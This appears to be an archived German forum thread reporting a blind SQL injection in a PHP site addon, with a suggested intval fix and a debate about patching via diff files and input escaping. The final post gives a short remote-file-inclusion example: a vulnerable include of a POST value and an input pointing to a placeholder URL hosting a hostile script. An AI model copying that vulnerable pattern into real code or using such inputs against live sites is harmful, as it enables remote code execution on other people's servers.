PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : BlindSQL-Injection Game-Pool Addon Skandal für VMS 1.x



Drakor
05.01.2011, 19:03
Hallo,

ich möchte melden, dass sich in dem Addon eine BlindSQL-Injection Vulnerability befindet. Wieder ist es der Parameter $_POST['id'], anscheinend findet auch hier keinerlei Überprüfung statt.
Andere Lücken in dem Addon sind möglich, ich habe nur diese eine Lücke geblackboxed, den Rest habe ich mir noch nicht angeschaut.

Nachzulesen: http://bettlerlose.de

Wäre nett wenn jemand Skandal hierauf aufmerksam machen kann.

Gruß
Drakor

j.knopf
06.01.2011, 00:53
suche:
if (!isset($_POST['buy'])) $_POST['buy']= "";

und füge darunter das hier ein:

$_POST['id']=abs(intval($_POST['id']));

Drakor
06.01.2011, 01:14
Dankeschön, waren das alle, die in dem Skript existierten ?

wieso arbeiten die Leute hier eigentlich nicht mit einer diff ähnlichen Software ?

Gruß
Drakor

jpwfour
06.01.2011, 13:56
...
wieso arbeiten die Leute hier eigentlich nicht mit einer diff ähnlichen Software ?
...

Wen meinst du damit, und was sollte das bringen?

Dadurch beheben sich Bugs auch nicht von selbst :wink: und ein Großteil der "Kunden" hat schon Probleme, Dateien korrekt via FTP hochzuladen, da wäre jeder diff-ähnliche Ansatz wohl zu viel verlangt (geschweige denn können sicher auch viele der im Klammlose-Bereich tätigen "Programmierer" nicht richtig mit solchen Tools umgehen).

Drakor
06.01.2011, 14:11
Wieso, durch das diff wirds doch noch einfacher ?
Dann braucht der User das Addon nurnoch hochladen und der Progger nur ne .diff als Patch bereitstellen.

(wobei das diff Format wohl nicht ganz tauglich ist, aber aus anderen Gründen)

Sebmaster
06.01.2011, 16:12
Pff, du hast noch nie für Addons Support geben müssen, oder?

Da muss für .diff wieder Software installiert werden, die Leute haben keine Ahnung wie sie das bedienen und regen sich drüber auf, wieso das nicht wie bei allen anderen Addons ganz einfach sein kann...

Drakor
06.01.2011, 18:05
Du hast noch nie mit diff-Files gearbeitet oder ?

Ich stell mir das eher so vor: Im Adminforce gibt es den Unterpunkt "Diff-Patch" mit einem "Hochladen"-Button. Dort wird die Diff-File hochgeladen und vom Addon ausgeführt... fertig. Unten drunter steht jeweils welche Diff-File bereits angewandt wurde. Also das ist doch sehr viel einfacher als irgendson Anleitungsgedöhns.

Drakor

jpwfour
06.01.2011, 18:30
...Im Adminforce gibt es den Unterpunkt "Diff-Patch" mit einem "Hochladen"-Button. Dort wird die Diff-File hochgeladen und vom Addon ausgeführt... fertig. ...

Ausgeführt via Systemaufruf? Kannste dann schonmal knicken da die meisten Billig-Webspace nutzen, wo das nicht möglich ist.

Ausgeführt via PHP Skript? Auf alle Dateien Schreibrechte (dass machen die Webbis zwar sicher 1x, wenn man es ihnen sagt, aber ich würde das nicht machen), nötige Skripte dafür müssten wohl noch mind. 1 Jahr lang PHP 4 unterstützen.

Und der Faktor, dass nicht alle, die Addons vertreiben, diff's erstellen können/wollen, insofern würde wohl selbst wenn man jetzt das ins Grundskript integriert und ausfürliche Anleitungen bereitstellt, nur ein sehr kleiner Anteil bestehender Addons angepasst werden, und auch von den neuen nur ein kleiner Teil damit erstellt werden.

Daher hat vermutlich kaum jemand Lust, sowas einzubauen.

Und selbst wenn man das alles ausser Acht lässt, spätestens sobald 2 Addons bzw. deren diff's konkurrieren, steigen 98% aller Klammlose-Webbis aus, dass ist zwar bei den aktuellen "Anleitungen" das selbe Problem, aber nur dafür extra was Neues zu erfinden, bei dem die gleichen Probleme auftreten, glaube ich will auch kaum jemand :wink:


Ich würde so ein System bspw. auch nicht nutzen, da man so viel "Schrott" untergejubelt bekommt, so dass ich mir gerne erst mal ganz genau anschaue, was der Ersteller da "gebastelt" hat, wäre mit einem diff File natürlich auch möglich, aber wenn ich schon beim durchschauen bin hab ich die Codezeilen genauso schnell auch reinkopiert.

hankfromhelvete
06.01.2011, 18:34
Der Vorteil an der manuellen Installation ist auch: Man kann direkt die Fehler des Proggers beheben :biggrin1:

Drakor
06.01.2011, 19:43
Nun:

1. keine Schreibrechte: Kein Problem, der Webbi hinterlegt beim Addon die FTP-Daten und dann kann das Skript die Rechte selber modifizieren.

2. kaum Addons: Das alte nicht umgerüstet werden ist nicht schlimm, solange genug das neue System nutzen. Da der Progger ja auch nur ein Programm über die Datei laufen lassen muss -> weniger Arbeit, was dem Progger zuvorkommt.
Und da das Addon dann ja (sofern sowas nicht von Anfang an im VMS dabei ist) frei verfügbar ist ist, kommt es einer Verbreitung sehr entgegen.

3. Addon-Überschneidungen : Es würde ja sogar besser sein, wenn die Addons die dafür vorgesehene Plugin-Stelle nutzen, somit gibts keine Überschneidungen, man denke an das Modul-System des VMS. Pech nur, dass da in einigen Versionen sowas von der Wurm drin war, dass es kaum Addons gibt, die dieses System nutzen.(vorwiegend Schrott-Addons) (Anmerkung: Ich bin strenger Befürworter des Modul-Systems und mache davon ausreichend Gebrauch, da dort sowas wie Überschneidungen z..b. gar nicht auftauchen KÖNNEN)

4. viel Schrott: naja, das diff zwingt zu mehr Disziplin und hat den Vorteil, dass die Schrott-Progger keine Chance im Wettbewerb haben und irgendwann verschwinden, was sicher ein positiver Nebeneffekt ist ;).

EDIT: @PHP5: Ich bin der Ansicht, dass nach 7 Jahren im Umlauf, wohl das einzige sein sollte, wofür programmiert wird. Leute, es kann nicht sein, dass es überhaupt noch Webspaces auf Php4 Basis gibt oO. Das sollte gleich zum scheitern verurteilt sein.

breaker
12.03.2011, 19:09
suche:
if (!isset($_POST['buy'])) $_POST['buy']= "";

und füge darunter das hier ein:

$_POST['id']=abs(intval($_POST['id']));


Was genau soll das bringen?

Das:

if (!isset($_POST['buy'])) $_POST['buy']= "";stellt nur fest ob "buy" im _POST-Array vorhanden ist, ist es nicht vorhanden wird es ja noch vernünftig deklariert, ist es aber vorhanden, wird es nicht mal auf Inhalt geprüft.

Vernünftiger wäre hier sowas (wenn "buy" ein string ist):

$buy = (!isset($_POST['buy']) ? '' : addslashes($_POST['buy']));

Wobei das ganze natürlich auch über andere Funktionen escapt werden kann/darf ;)

Achso.das ist auch kein SQL, sondern ein PHP-Injection ;-)

Aradiv
31.03.2011, 12:43
$_POST['id']=abs(intval($_POST['id']));

stellt sicher das $_POST['id'] eine positive Ganzzahl ist.

neoplacer
31.03.2011, 19:09
Was genau soll das bringen?

Das:

if (!isset($_POST['buy'])) $_POST['buy']= "";stellt nur fest ob "buy" im _POST-Array vorhanden ist, ist es nicht vorhanden wird es ja noch vernünftig deklariert, ist es aber vorhanden, wird es nicht mal auf Inhalt geprüft.

Vernünftiger wäre hier sowas (wenn "buy" ein string ist):

$buy = (!isset($_POST['buy']) ? '' : addslashes($_POST['buy']));

Wobei das ganze natürlich auch über andere Funktionen escapt werden kann/darf ;)

Achso.das ist auch kein SQL, sondern ein PHP-Injection ;-)

addslashes Ist nicht sicher lässt sich sehr einfach aus hebeln..
Wenn du weißt das da nur eine Ganzzahl kommen darf, dann sollte man das auch darauf Prüfen.
Und wenn du die ID so wie sie in die $var gespeichert ist an deine DB via aufruf übergibst ist es eine SQL Injektion :p

PHP wäre wenn du Include($_POST["pagename"].".php"); machen würdest :p
Denn pagename= http://meineurl.tls/bösesscript führt das dann aus.